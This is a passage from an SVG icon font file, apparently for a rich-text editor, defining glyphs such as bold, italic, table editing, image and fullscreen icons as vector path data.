128h64v-192h-64zM832 384h192v-64h-192z" />
<glyph unicode="&#xe013;" glyph-name="anchor" d="M192 960v-1024l320 320 320-320v1024h-640zM768 90.51l-256 256-256-256v805.49h512v-805.49z" />
<glyph unicode="&#xe014;" glyph-name="image" d="M0 832v-832h1024v832h-1024zM960 64h-896v704h896v-704zM704 608c0 53.019 42.981 96 96 96s96-42.981 96-96c0-53.019-42.981-96-96-96s-96 42.981-96 96zM896 128h-768l192 512 256-320 128 96z" />
<glyph unicode="&#xe015;" glyph-name="media" d="M0 832v-768h1024v768h-1024zM192 128h-128v128h128v-128zM192 384h-128v128h128v-128zM192 640h-128v128h128v-128zM768 128h-512v640h512v-640zM960 128h-128v128h128v-128zM960 384h-128v128h128v-128zM960 640h-128v128h128v-128zM384 640v-384l256 192z" />
<glyph unicode="&#xe016;" glyph-name="help" d="M448 256h128v-128h-128zM704 704c35.346 0 64-28.654 64-64v-192l-192-128h-128v64l192 128v64h-320v128h384zM512 864c-111.118 0-215.584-43.272-294.156-121.844s-121.844-183.038-121.844-294.156c0-111.118 43.272-215.584 121.844-294.156s183.038-121.844 294.156-121.844c111.118 0 215.584 43.272 294.156 121.844s121.844 183.038 121.844 294.156c0 111.118-43.272 215.584-121.844 294.156s-183.038 121.844-294.156 121.844zM512 960v0c282.77 0 512-229.23 512-512s-229.23-512-512-512c-282.77 0-512 229.23-512 512s229.23 512 512 512z" />
<glyph unicode="&#xe017;" glyph-name="code" d="M320 704l-256-256 256-256h128l-256 256 256 256zM704 704h-128l256-256-256-256h128l256 256z" />
<glyph unicode="&#xe018;" glyph-name="inserttime" d="M512 768c-212.076 0-384-171.922-384-384s171.922-384 384-384c212.074 0 384 171.922 384 384s-171.926 384-384 384zM715.644 180.354c-54.392-54.396-126.716-84.354-203.644-84.354s-149.25 29.958-203.646 84.354c-54.396 54.394-84.354 126.718-84.354 203.646s29.958 149.25 84.354 203.646c54.396 54.396 126.718 84.354 203.646 84.354s149.252-29.958 203.642-84.354c54.402-54.396 84.358-126.718 84.358-203.646s-29.958-149.252-84.356-203.646zM325.93 756.138l-42.94 85.878c-98.874-49.536-179.47-130.132-229.006-229.008l85.876-42.94c40.248 80.336 105.732 145.822 186.070 186.070zM884.134 570.070l85.878 42.938c-49.532 98.876-130.126 179.472-229.004 229.008l-42.944-85.878c80.338-40.248 145.824-105.732 186.070-186.068zM512 576h-64v-192c0-10.11 4.7-19.11 12.022-24.972l-0.012-0.016 160-128 39.976 49.976-147.986 118.39v176.622z" />
<glyph unicode="&#xe019;" glyph-name="preview" d="M512 640c-209.368 0-395.244-100.556-512-256 116.756-155.446 302.632-256 512-256s395.244 100.554 512 256c-116.756 155.444-302.632 256-512 256zM448 512c35.346 0 64-28.654 64-64s-28.654-64-64-64-64 28.654-64 64 28.654 64 64 64zM773.616 254.704c-39.648-20.258-81.652-35.862-124.846-46.376-44.488-10.836-90.502-16.328-136.77-16.328-46.266 0-92.282 5.492-136.768 16.324-43.194 10.518-85.198 26.122-124.846 46.376-63.020 32.202-120.222 76.41-167.64 129.298 47.418 52.888 104.62 97.1 167.64 129.298 32.336 16.522 66.242 29.946 101.082 40.040-19.888-30.242-31.468-66.434-31.468-105.336 0-106.040 85.962-192 192-192s192 85.96 192 192c0 38.902-11.582 75.094-31.466 105.34 34.838-10.096 68.744-23.52 101.082-40.042 63.022-32.198 120.218-76.408 167.638-129.298-47.42-52.886-104.618-97.1-167.638-129.296zM860.918 716.278c-108.72 55.554-226.112 83.722-348.918 83.722s-240.198-28.168-348.918-83.722c-58.772-30.032-113.732-67.904-163.082-112.076v-109.206c55.338 58.566 120.694 107.754 192.194 144.29 99.62 50.904 207.218 76.714 319.806 76.714s220.186-25.81 319.804-76.716c71.502-36.536 136.858-85.724 192.196-144.29v109.206c-49.35 44.174-104.308 82.046-163.082 112.078z" />
<glyph unicode="&#xe01a;" glyph-name="forecolor" d="M322.018 128l57.6 192h264.764l57.6-192h113.632l-191.996 640h-223.236l-192-640h113.636zM475.618 640h72.764l57.6-192h-187.964l57.6 192z" />
<glyph unicode="&#xe01b;" glyph-name="table" d="M0 896v-896h1024v896h-1024zM384 320v192h256v-192h-256zM640 256v-192h-256v192h256zM640 768v-192h-256v192h256zM320 768v-192h-256v192h256zM64 512h256v-192h-256v192zM704 512h256v-192h-256v192zM704 576v192h256v-192h-256zM64 256h256v-192h-256v192zM704 64v192h256v-192h-256z" />
<glyph unicode="&#xe01c;" glyph-name="hr" d="M0 512h1024v-128h-1024z" />
<glyph unicode="&#xe01d;" glyph-name="removeformat" d="M0 64h576v-128h-576zM192 960h704v-128h-704zM277.388 128l204.688 784.164 123.85-32.328-196.25-751.836zM929.774-64l-129.774 129.774-129.774-129.774-62.226 62.226 129.774 129.774-129.774 129.774 62.226 62.226 129.774-129.774 129.774 129.774 62.226-62.226-129.774-129.774 129.774-129.774z" />
<glyph unicode="&#xe01e;" glyph-name="sub" d="M768 50v-50h128v-64h-192v146l128 60v50h-128v64h192v-146zM676 704h-136l-188-188-188 188h-136l256-256-256-256h136l188 188 188-188h136l-256 256z" />
<glyph unicode="&#xe01f;" glyph-name="sup" d="M768 754v-50h128v-64h-192v146l128 60v50h-128v64h192v-146zM676 704h-136l-188-188-188 188h-136l256-256-256-256h136l188 188 188-188h136l-256 256z" />
<glyph unicode="&#xe020;" glyph-name="charmap" d="M704 64h256l64 128v-256h-384v214.214c131.112 56.484 224 197.162 224 361.786 0 214.432-157.598 382.266-352 382.266-194.406 0-352-167.832-352-382.266 0-164.624 92.886-305.302 224-361.786v-214.214h-384v256l64-128h256v32.59c-187.63 66.46-320 227.402-320 415.41 0 247.424 229.23 448 512 448s512-200.576 512-448c0-188.008-132.37-348.95-320-415.41v-32.59z" />
<glyph unicode="&#xe021;" glyph-name="emoticons" d="M512 960c-282.77 0-512-229.228-512-512 0-282.77 229.228-512 512-512 282.77 0 512 229.23 512 512 0 282.772-229.23 512-512 512zM512 16c-238.586 0-432 193.412-432 432 0 238.586 193.414 432 432 432 238.59 0 432-193.414 432-432 0-238.588-193.41-432-432-432zM384 640c0-35.346-28.654-64-64-64s-64 28.654-64 64 28.654 64 64 64 64-28.654 64-64zM768 640c0-35.346-28.652-64-64-64s-64 28.654-64 64 28.652 64 64 64 64-28.654 64-64zM512 308c141.074 0 262.688 57.532 318.462 123.192-20.872-171.22-156.288-303.192-318.462-303.192-162.118 0-297.498 132.026-318.444 303.168 55.786-65.646 177.386-123.168 318.444-123.168z" />
<glyph unicode="&#xe022;" glyph-name="print" d="M256 896h512v-128h-512zM960 704h-896c-35.2 0-64-28.8-64-64v-320c0-35.2 28.796-64 64-64h192v-256h512v256h192c35.2 0 64 28.8 64 64v320c0 35.2-28.8 64-64 64zM704 64h-384v320h384v-320zM974.4 608c0-25.626-20.774-46.4-46.398-46.4-25.626 0-46.402 20.774-46.402 46.4s20.776 46.4 46.402 46.4c25.626 0 46.398-20.774 46.398-46.4z" />
<glyph unicode="&#xe023;" glyph-name="fullscreen" d="M1024 960v-384l-138.26 138.26-212-212-107.48 107.48 212 212-138.26 138.26zM245.74 821.74l212-212-107.48-107.48-212 212-138.26-138.26v384h384zM885.74 181.74l138.26 138.26v-384h-384l138.26 138.26-212 212 107.48 107.48zM457.74 286.26l-212-212 138.26-138.26h-384v384l138.26-138.26 212 212z" />
<glyph unicode="&#xe024;" glyph-name="spellchecker" d="M128 704h128v-192h64v384c0 35.2-28.8 64-64 64h-128c-35.2 0-64-28.8-64-64v-384h64v192zM128 896h128v-128h-128v128zM960 896v64h-192c-35.202 0-64-28.8-64-64v-320c0-35.2 28.798-64 64-64h192v64h-192v320h192zM640 800v96c0 35.2-28.8 64-64 64h-192v-448h192c35.2 0 64 28.8 64 64v96c0 35.2-8.8 64-44 64 35.2 0 44 28.8 44 64zM576 576h-128v128h128v-128zM576 768h-128v128h128v-128zM832 384l-416-448-224 288 82 70 142-148 352 302z" />
<glyph unicode="&#xe025;" glyph-name="nonbreaking" d="M448 384h-192v128h192v192h128v-192h192v-128h-192v-192h-128zM1024 320v-384h-1024v384h128v-256h768v256z" />
<glyph unicode="&#xe026;" glyph-name="template" d="M384 768h128v-64h-128zM576 768h128v-64h-128zM896 768v-256h-192v64h128v128h-64v64zM320 576h128v-64h-128zM512 576h128v-64h-128zM192 704v-128h64v-64h-128v256h192v-64zM384 384h128v-64h-128zM576 384h128v-64h-128zM896 384v-256h-192v64h128v128h-64v64zM320 192h128v-64h-128zM512 192h128v-64h-128zM192 320v-128h64v-64h-128v256h192v-64zM960 896h-896v-896h896v896zM1024 960v0-1024h-1024v1024h1024z" />
<glyph unicode="&#xe027;" glyph-name="pagebreak" d="M0 448h128v-64h-128zM192 448h192v-64h-192zM448 448h128v-64h-128zM640 448h192v-64h-192zM896 448h128v-64h-128zM880 960l16-448h-768l16 448h32l16-384h640l16 384zM144-64l-16 384h768l-16-384h-32l-16 320h-640l-16-320z" />
<glyph unicode="&#xe028;" glyph-name="restoredraft" d="M576 896c247.424 0 448-200.576 448-448s-200.576-448-448-448v96c94.024 0 182.418 36.614 248.902 103.098s103.098 154.878 103.098 248.902c0 94.022-36.614 182.418-103.098 248.902s-154.878 103.098-248.902 103.098c-94.022 0-182.418-36.614-248.902-103.098-51.14-51.138-84.582-115.246-97.306-184.902h186.208l-224-256-224 256h164.57c31.060 217.102 217.738 384 443.43 384zM768 512v-128h-256v320h128v-192z" />
<glyph unicode="&#xe02a;" glyph-name="bold" d="M707.88 475.348c37.498 44.542 60.12 102.008 60.12 164.652 0 141.16-114.842 256-256 256h-320v-896h384c141.158 0 256 114.842 256 256 0 92.956-49.798 174.496-124.12 219.348zM384 768h101.5c55.968 0 101.5-57.42 101.5-128s-45.532-128-101.5-128h-101.5v256zM543 128h-159v256h159c58.45 0 106-57.42 106-128s-47.55-128-106-128z" />
<glyph unicode="&#xe02b;" glyph-name="italic" d="M896 896v-64h-128l-320-768h128v-64h-448v64h128l320 768h-128v64z" />
<glyph unicode="&#xe02c;" glyph-name="underline" d="M704 896h128v-416c0-159.058-143.268-288-320-288-176.73 0-320 128.942-320 288v416h128v-416c0-40.166 18.238-78.704 51.354-108.506 36.896-33.204 86.846-51.494 140.646-51.494s103.75 18.29 140.646 51.494c33.116 29.802 51.354 68.34 51.354 108.506v416zM192 128h640v-128h-640z" />
<glyph unicode="&#xe02d;" glyph-name="strikethrough" d="M731.42 442.964c63.92-47.938 100.58-116.086 100.58-186.964s-36.66-139.026-100.58-186.964c-59.358-44.518-137.284-69.036-219.42-69.036-82.138 0-160.062 24.518-219.42 69.036-63.92 47.938-100.58 116.086-100.58 186.964h128c0-69.382 87.926-128 192-128s192 58.618 192 128c0 69.382-87.926 128-192 128-82.138 0-160.062 24.518-219.42 69.036-63.92 47.94-100.58 116.086-100.58 186.964s36.66 139.024 100.58 186.964c59.358 44.518 137.282 69.036 219.42 69.036 82.136 0 160.062-24.518 219.42-69.036 63.92-47.94 100.58-116.086 100.58-186.964h-128c0 69.382-87.926 128-192 128s-192-58.618-192-128c0-69.382 87.926-128 192-128 82.136 0 160.062-24.518 219.42-69.036zM0 448h1024v-64h-1024z" />
<glyph unicode="&#xe02e;" glyph-name="visualchars" d="M384 896h512v-128h-128v-768h-128v768h-128v-768h-128v448c-123.712 0-224 100.288-224 224s100.288 224 224 224z" />
<glyph unicode="&#xe02f;" glyph-name="ltr" d="M448 896h512v-128h-128v-768h-128v768h-128v-768h-128v448c-123.712 0-224 100.288-224 224s100.288 224 224 224zM64 512l256-224-256-224z" />
<glyph unicode="&#xe030;" glyph-name="rtl" d="M256 896h512v-128h-128v-768h-128v768h-128v-768h-128v448c-123.712 0-224 100.288-224 224s100.288 224 224 224zM960 64l-256 224 256 224z" />
<glyph unicode="&#xe031;" glyph-name="copy" d="M832 704h-192v64l-192 192h-448v-768h384v-256h640v576l-192 192zM832 613.49l101.49-101.49h-101.49v101.49zM448 869.49l101.49-101.49h-101.49v101.49zM64 896h320v-192h192v-448h-512v640zM960 0h-512v192h192v448h128v-192h192v-448z" />
<glyph unicode="&#xe032;" glyph-name="resize" d="M768 704h64v-64h-64zM640 576h64v-64h-64zM640 448h64v-64h-64zM640 320h64v-64h-64zM512 448h64v-64h-64zM512 320h64v-64h-64zM384 320h64v-64h-64zM768 576h64v-64h-64zM768 448h64v-64h-64zM768 320h64v-64h-64zM768 192h64v-64h-64zM640 192h64v-64h-64zM512 192h64v-64h-64zM384 192h64v-64h-64zM256 192h64v-64h-64z" />
<glyph unicode="&#xe033;" glyph-name="checkbox" d="M128 416l288-288 480 480-128 128-352-352-160 160z" />
<glyph unicode="&#xe034;" glyph-name="browse" d="M928 832h-416l-32 64h-352l-64-128h896zM904.34 256h74.86l44.8 448h-1024l64-640h484.080c-104.882 37.776-180.080 138.266-180.080 256 0 149.982 122.018 272 272 272 149.98 0 272-122.018 272-272 0-21.678-2.622-43.15-7.66-64zM1002.996 46.25l-198.496 174.692c17.454 28.92 27.5 62.814 27.5 99.058 0 106.040-85.96 192-192 192s-192-85.96-192-192 85.96-192 192-192c36.244 0 70.138 10.046 99.058 27.5l174.692-198.496c22.962-26.678 62.118-28.14 87.006-3.252l5.492 5.492c24.888 24.888 23.426 64.044-3.252 87.006zM640 196c-68.484 0-124 55.516-124 124s55.516 124 124 124 124-55.516 124-124-55.516-124-124-124z" />
<glyph unicode="&#xe035;" glyph-name="pastetext" d="M512 448v-128h32l32 64h64v-256h-48v-64h224v64h-48v256h64l32-64h32v128zM832 640v160c0 17.6-14.4 32-32 32h-224v64c0 35.2-28.8 64-64 64h-128c-35.204 0-64-28.8-64-64v-64h-224c-17.602 0-32-14.4-32-32v-640c0-17.6 14.398-32 32-32h288v-192h640v704h-192zM384 895.886c0.034 0.038 0.072 0.078 0.114 0.114h127.768c0.042-0.036 0.082-0.076 0.118-0.114v-63.886h-128v63.886zM192 704v64h512v-64h-512zM960 0h-512v576h512v-576z" />
<glyph unicode="&#xe600;" glyph-name="gamma" d="M483.2 320l-147.2 336c-9.6 25.6-19.2 44.8-25.6 54.4s-16 12.8-25.6 12.8c-16 0-25.6-3.2-28.8-3.2v70.4c9.6 6.4 25.6 6.4 38.4 9.6 32 0 57.6-6.4 73.6-22.4 6.4-6.4 12.8-16 19.2-25.6 6.4-12.8 12.8-25.6 16-41.6l121.6-291.2 150.4 371.2h92.8l-198.4-470.4v-224h-86.4v224zM0 960v-1024h1024v1024h-1024zM960 0h-896v896h896v-896z" />
<glyph unicode="&#xe601;" glyph-name="orientation" d="M627.2 80h-579.2v396.8h579.2v-396.8zM553.6 406.4h-435.2v-256h435.2v256zM259.2 732.8c176 176 457.6 176 633.6 0s176-457.6 0-633.6c-121.6-121.6-297.6-160-454.4-108.8 121.6-28.8 262.4 9.6 361.6 108.8 150.4 150.4 160 384 22.4 521.6-121.6 121.6-320 128-470.4 19.2l86.4-86.4-294.4-22.4 22.4 294.4 92.8-92.8z" />
<glyph unicode="&#xe602;" glyph-name="invert" d="M892.8-22.4l-89.6 89.6c-70.4-80-172.8-131.2-288-131.2-208 0-380.8 166.4-384 377.6 0 0 0 0 0 0 0 3.2 0 3.2 0 6.4s0 3.2 0 6.4v0c0 0 0 0 0 3.2 0 0 0 3.2 0 3.2 3.2 105.6 48 211.2 105.6 304l-192 192 44.8 44.8 182.4-182.4c0 0 0 0 0 0l569.6-569.6c0 0 0 0 0 0l99.2-99.2-48-44.8zM896 326.4c0 0 0 0 0 0 0 3.2 0 6.4 0 6.4-9.6 316.8-384 627.2-384 627.2s-108.8-89.6-208-220.8l70.4-70.4c6.4 9.6 16 22.4 22.4 32 41.6 51.2 83.2 96 115.2 128v0c32-32 73.6-76.8 115.2-128 108.8-137.6 169.6-265.6 172.8-371.2 0 0 0-3.2 0-3.2v0 0c0-3.2 0-3.2 0-6.4s0-3.2 0-3.2v0 0c0-22.4-3.2-41.6-9.6-64l76.8-76.8c16 41.6 28.8 89.6 28.8 137.6 0 0 0 0 0 0 0 3.2 0 3.2 0 6.4s0 3.2 0 6.4z" />
<glyph unicode="&#xe603;" glyph-name="codesample" d="M199.995 578.002v104.002c0 43.078 34.923 78.001 78.001 78.001h26v104.002h-26c-100.518 0-182.003-81.485-182.003-182.003v-104.002c0-43.078-34.923-78.001-78.001-78.001h-26v-104.002h26c43.078 0 78.001-34.923 78.001-78.001v-104.002c0-100.515 81.485-182.003 182.003-182.003h26v104.002h-26c-43.078 0-78.001 34.923-78.001 78.001v104.002c0 50.931-20.928 96.966-54.646 130.002 33.716 33.036 54.646 79.072 54.646 130.002zM824.005 578.002v104.002c0 43.078-34.923 78.001-78.001 78.001h-26v104.002h26c100.515 0 182.003-81.485 182.003-182.003v-104.002c0-43.078 34.923-78.001 78.001-78.001h26v-104.002h-26c-43.078 0-78.001-34.923-78.001-78.001v-104.002c0-100.515-81.488-182.003-182.003-182.003h-26v104.002h26c43.078 0 78.001 34.923 78.001 78.001v104.002c0 50.931 20.928 96.966 54.646 130.002-33.716 33.036-54.646 79.072-54.646 130.002zM616.002 603.285c0-57.439-46.562-104.002-104.002-104.002s-104.002 46.562-104.002 104.002c0 57.439 46.562 104.002 104.002 104.002s104.002-46.562 104.002-104.002zM512 448.717c-57.439 0-104.002-46.562-104.002-104.002 0-55.845 26-100.115 105.752-103.88-23.719-33.417-59.441-46.612-105.752-50.944v-61.751c0 0 208.003-18.144 208.003 216.577-0.202 57.441-46.56 104.004-104.002 104.004z" />
<glyph unicode="&#xe604;" glyph-name="tablerowprops" d="M0 896v-896h1024v896h-1024zM640 256v-192h-256v192h256zM640 768v-192h-256v192h256zM320 768v-192h-256v192h256zM704 576v192h256v-192h-256zM64 256h256v-192h-256v192zM704 64v192h256v-192h-256z" />
<glyph unicode="&#xe605;" glyph-name="tablecellprops" d="M0 896v-896h1024v896h-1024zM640 256v-192h-256v192h256zM640 768v-192h-256v192h256zM320 768v-192h-256v192h256zM64 512h256v-192h-256v192zM704 512h256v-192h-256v192zM704 576v192h256v-192h-256zM64 256h256v-192h-256v192zM704 64v192h256v-192h-256z" />
<glyph unicode="&#xe606;" glyph-name="table2" d="M0 896v-832h1024v832h-1024zM320 128h-256v192h256v-192zM320 384h-256v192h256v-192zM640 128h-256v192h256v-192zM640 384h-256v192h256v-192zM960 128h-256v192h256v-192zM960 384h-256v192h256v-192zM960 640h-896v192h896v-192z" />
<glyph unicode="&#xe607;" glyph-name="tablemergecells" d="M0 896v-896h1024v896h-1024zM384 64v448h576v-448h-576zM640 768v-192h-256v192h256zM320 768v-192h-256v192h256zM64 512h256v-192h-256v192zM704 576v192h256v-192h-256zM64 256h256v-192h-256v192z" />
<glyph unicode="&#xe608;" glyph-name="tableinsertcolbefore" d="M320 188.8v182.4h-182.4v89.6h182.4v182.4h86.4v-182.4h185.6v-89.6h-185.6v-182.4zM0 896v-896h1024v896h-1024zM640 64h-576v704h576v-704zM960 64h-256v192h256v-192zM960 320h-256v192h256v-192zM960 576h-256v192h256v-192z" />
<glyph unicode="&#xe609;" glyph-name="tableinsertcolafter" d="M704 643.2v-182.4h182.4v-89.6h-182.4v-182.4h-86.4v182.4h-185.6v89.6h185.6v182.4zM0 896v-896h1024v896h-1024zM320 64h-256v192h256v-192zM320 320h-256v192h256v-192zM320 576h-256v192h256v-192zM960 64h-576v704h576v-704z" />
<glyph unicode="&#xe60a;" glyph-name="tableinsertrowbefore" d="M691.2 508.8h-144v-144h-70.4v144h-144v67.2h144v144h70.4v-144h144zM0 896v-896h1024v896h-1024zM320 64h-256v192h256v-192zM640 64h-256v192h256v-192zM960 64h-256v192h256v-192zM960 316.8h-896v451.2h896v-451.2z" />
<glyph unicode="&#xe60b;" glyph-name="tableinsertrowafter" d="M332.8 323.2h144v144h70.4v-144h144v-67.2h-144v-144h-70.4v144h-144zM0 896v-896h1024v896h-1024zM384 768h256v-192h-256v192zM64 768h256v-192h-256v192zM960 64h-896v451.2h896v-451.2zM960 576h-256v192h256v-192z" />
<glyph unicode="&#xe60d;" glyph-name="tablesplitcells" d="M0 896v-896h1024v896h-1024zM384 768h256v-192h-256v192zM320 64h-256v192h256v-192zM320 320h-256v192h256v-192zM320 576h-256v192h256v-192zM960 64h-576v448h576v-448zM960 576h-256v192h256v-192zM864 156.8l-60.8-60.8-131.2 131.2-131.2-131.2-60.8 60.8 131.2 131.2-131.2 131.2 60.8 60.8 131.2-131.2 131.2 131.2 60.8-60.8-131.2-131.2z" />
<glyph unicode="&#xe60e;" glyph-name="tabledelete" d="M0 896h1024v-896h-1024v896zM60.8 768v-704h899.2v704h-899.2zM809.6 211.2l-96-96-204.8 204.8-204.8-204.8-96 96 204.8 204.8-204.8 204.8 96 96 204.8-204.8 204.8 204.8 96-96-204.8-204.8z" />
<glyph unicode="&#xe62a;" glyph-name="tableleftheader" d="M0 896v-832h1024v832h-1024zM640 128h-256v192h256v-192zM640 384h-256v192h256v-192zM640 640h-256v192h256v-192zM960 128h-256v192h256v-192zM960 384h-256v192h256v-192zM960 640h-256v192h256v-192z" />
<glyph unicode="&#xe62b;" glyph-name="tabletopheader" d="M0 896v-832h1024v832h-1024zM320 128h-256v192h256v-192zM320 384h-256v192h256v-192zM640 128h-256v192h256v-192zM640 384h-256v192h256v-192zM960 128h-256v192h256v-192zM960 384h-256v192h256v-192z" />
<glyph unicode="&#xe800;" glyph-name="tabledeleterow" d="M886.4 572.8l-156.8-156.8 160-160-76.8-76.8-160 160-156.8-156.8-76.8 73.6 160 160-163.2 163.2 76.8 76.8 163.2-163.2 156.8 156.8 73.6-76.8zM0 896v-896h1024v896h-1024zM960 576h-22.4l-64-64h86.4v-192h-89.6l64-64h25.6v-192h-896v192h310.4l64 64h-374.4v192h371.2l-64 64h-307.2v192h896v-192z" />
<glyph unicode="&#xe801;" glyph-name="tabledeletecol" d="M320 499.2l64-64v-12.8l-64-64v140.8zM640 422.4l64-64v137.6l-64-64v-9.6zM1024 896v-896h-1024v896h1024zM960 768h-256v-51.2l-12.8 12.8-51.2-51.2v89.6h-256v-89.6l-51.2 51.2-12.8-12.8v51.2h-256v-704h256v118.4l35.2-35.2 28.8 28.8v-115.2h256v115.2l48-48 16 16v-83.2h256v707.2zM672 662.4l-156.8-156.8-163.2 163.2-76.8-76.8 163.2-163.2-156.8-156.8 76.8-76.8 156.8 156.8 160-160 76.8 76.8-160 160 156.8 156.8-76.8 76.8z" />
<glyph unicode="&#xe900;" glyph-name="a11y" d="M960 704v64l-448-128-448 128v-64l320-128v-256l-128-448h64l192 448 192-448h64l-128 448v256zM416 800q0 40 28 68t68 28 68-28 28-68-28-68-68-28-68 28-28 68z" />
<glyph unicode="&#xe901;" glyph-name="toc" d="M0 896h128v-128h-128v128zM192 896h832v-128h-832v128zM0 512h128v-128h-128v128zM192 512h832v-128h-832v128zM0 128h128v-128h-128v128zM192 128h832v-128h-832v128zM192 704h128v-128h-128v128zM384 704h640v-128h-640v128zM192 320h128v-128h-128v128zM384 320h640v-128h-640v128z" />
<glyph unicode="&#xe902;" glyph-name="fill" d="M521.6 915.2l-67.2-67.2-86.4 86.4-86.4-86.4 86.4-86.4-368-368 432-432 518.4 518.4-428.8 435.2zM435.2 134.4l-262.4 262.4 35.2 35.2 576 51.2-348.8-348.8zM953.6 409.6c-6.4-6.4-16-16-28.8-32-28.8-32-41.6-64-41.6-89.6v0 0 0 0 0 0 0c0-16 6.4-35.2 22.4-48 12.8-12.8 32-22.4 48-22.4s35.2 6.4 48 22.4 22.4 32 22.4 48v0 0 0 0 0 0 0c0 25.6-12.8 54.4-41.6 89.6-9.6 16-22.4 25.6-28.8 32v0z" />
<glyph unicode="&#xe903;" glyph-name="borderwidth" d="M0 265.6h1024v-128h-1024v128zM0 32h1024v-64h-1024v64zM0 566.4h1024v-192h-1024v192zM0 928h1024v-256h-1024v256z" />
<glyph unicode="&#xe904;" glyph-name="line" d="M739.2 627.2l-502.4-502.4h-185.6v185.6l502.4 502.4 185.6-185.6zM803.2 688l-185.6 185.6 67.2 67.2c22.4 22.4 54.4 22.4 76.8 0l108.8-108.8c22.4-22.4 22.4-54.4 0-76.8l-67.2-67.2zM41.6 48h940.8v-112h-940.8v112z" />
<glyph unicode="&#xe905;" glyph-name="count" d="M0 480h1024v-64h-1024v64zM304 912v-339.2h-67.2v272h-67.2v67.2zM444.8 694.4v-54.4h134.4v-67.2h-201.6v153.6l134.4 64v54.4h-134.4v67.2h201.6v-153.6zM854.4 912v-339.2h-204.8v67.2h137.6v67.2h-137.6v70.4h137.6v67.2h-137.6v67.2zM115.2 166.4c3.2 57.6 38.4 83.2 108.8 83.2 38.4 0 67.2-9.6 86.4-25.6s25.6-35.2 25.6-70.4v-112c0-25.6 0-28.8 9.6-41.6h-73.6c-3.2 9.6-3.2 9.6-6.4 19.2-22.4-19.2-41.6-25.6-70.4-25.6-54.4 0-89.6 32-89.6 76.8s28.8 70.4 99.2 80l38.4 6.4c16 3.2 22.4 6.4 22.4 16 0 12.8-12.8 22.4-38.4 22.4s-41.6-9.6-44.8-28.8h-67.2zM262.4 115.2c-6.4-3.2-12.8-6.4-25.6-6.4l-25.6-6.4c-25.6-6.4-38.4-16-38.4-28.8 0-16 12.8-25.6 35.2-25.6s41.6 9.6 54.4 32v35.2zM390.4 336h73.6v-112c22.4 16 41.6 22.4 67.2 22.4 64 0 105.6-51.2 105.6-124.8 0-76.8-44.8-134.4-108.8-134.4-32 0-48 9.6-67.2 35.2v-28.8h-70.4v342.4zM460.8 121.6c0-41.6 22.4-70.4 51.2-70.4s51.2 28.8 51.2 70.4c0 44.8-19.2 70.4-51.2 70.4-28.8 0-51.2-28.8-51.2-70.4zM851.2 153.6c-3.2 22.4-19.2 35.2-44.8 35.2-32 0-51.2-25.6-51.2-70.4 0-48 19.2-73.6 51.2-73.6 25.6 0 41.6 12.8 44.8 41.6l70.4-3.2c-9.6-60.8-54.4-96-118.4-96-73.6 0-121.6 51.2-121.6 128 0 80 48 131.2 124.8 131.2 64 0 108.8-35.2 112-96h-67.2z" />
<glyph unicode="&#xe906;" glyph-name="reload" d="M889.68 793.68c-93.608 102.216-228.154 166.32-377.68 166.32-282.77 0-512-229.23-512-512h96c0 229.75 186.25 416 416 416 123.020 0 233.542-53.418 309.696-138.306l-149.696-149.694h352v352l-134.32-134.32zM928 448c0-229.75-186.25-416-416-416-123.020 0-233.542 53.418-309.694 138.306l149.694 149.694h-352v-352l134.32 134.32c93.608-102.216 228.154-166.32 377.68-166.32 282.77 0 512 229.23 512 512h-96z" />
<glyph unicode="&#xe907;" glyph-name="translate" d="M553.6 304l-118.4 118.4c80 89.6 137.6 195.2 172.8 304h137.6v92.8h-326.4v92.8h-92.8v-92.8h-326.4v-92.8h518.4c-32-89.6-80-176-147.2-249.6-44.8 48-80 99.2-108.8 156.8h-92.8c35.2-76.8 80-147.2 137.6-211.2l-236.8-233.6 67.2-67.2 233.6 233.6 144-144c3.2 0 38.4 92.8 38.4 92.8zM816 540.8h-92.8l-208-560h92.8l51.2 140.8h220.8l51.2-140.8h92.8l-208 560zM691.2 214.4l76.8 201.6 76.8-201.6h-153.6z" />
<glyph unicode="&#xe908;" glyph-name="drag" d="M576 896h128v-128h-128v128zM576 640h128v-128h-128v128zM320 640h128v-128h-128v128zM576 384h128v-128h-128v128zM320 384h128v-128h-128v128zM320 128h128v-128h-128v128zM576 128h128v-128h-128v128zM320 896h128v-128h-128v128z" />
<glyph unicode="&#xe909;" glyph-name="format-painter" d="M768 746.667v42.667c0 23.467-19.2 42.667-42.667 42.667h-512c-23.467 0-42.667-19.2-42.667-42.667v-170.667c0-23.467 19.2-42.667 42.667-42.667h512c23.467 0 42.667 19.2 42.667 42.667v42.667h42.667v-170.667h-426.667v-384c0-23.467 19.2-42.667 42.667-42.667h85.333c23.467 0 42.667 19.2 42.667 42.667v298.667h341.333v341.333h-128z" />
<glyph unicode="&#xe90b;" glyph-name="home" d="M1024 369.556l-512 397.426-512-397.428v162.038l512 397.426 512-397.428zM896 384v-384h-256v256h-256v-256h-256v384l384 288z" />
<glyph unicode="&#xe911;" glyph-name="books" d="M576.234 670.73l242.712 81.432 203.584-606.784-242.712-81.432zM0 64h256v704h-256v-704zM64 640h128v-64h-128v64zM320 64h256v704h-256v-704zM384 640h128v-64h-128v64z" />
<glyph unicode="&#xe914;" glyph-name="upload" d="M839.432 760.57c27.492-27.492 50.554-78.672 55.552-120.57h-318.984v318.984c41.898-4.998 93.076-28.060 120.568-55.552l142.864-142.862zM512 576v384h-368c-44 0-80-36-80-80v-864c0-44 36-80 80-80h672c44 0 80 36 80 80v560h-384zM576 192v-192h-192v192h-160l256 256 256-256h-160z" />
<glyph unicode="&#xe915;" glyph-name="editimage" d="M768 416v-352h-640v640h352l128 128h-512c-52.8 0-96-43.2-96-96v-704c0-52.8 43.2-96 96-96h704c52.798 0 96 43.2 96 96v512l-128-128zM864 960l-608-608v-160h160l608 608c0 96-64 160-160 160zM416 320l-48 48 480 480 48-48-480-480z" />
<glyph unicode="&#xe91c;" glyph-name="bubble" d="M928 896h-832c-52.8 0-96-43.2-96-96v-512c0-52.8 43.2-96 96-96h160v-256l307.2 256h364.8c52.8 0 96 43.2 96 96v512c0 52.8-43.2 96-96 96zM896 320h-379.142l-196.858-174.714v174.714h-192v448h768v-448z" />
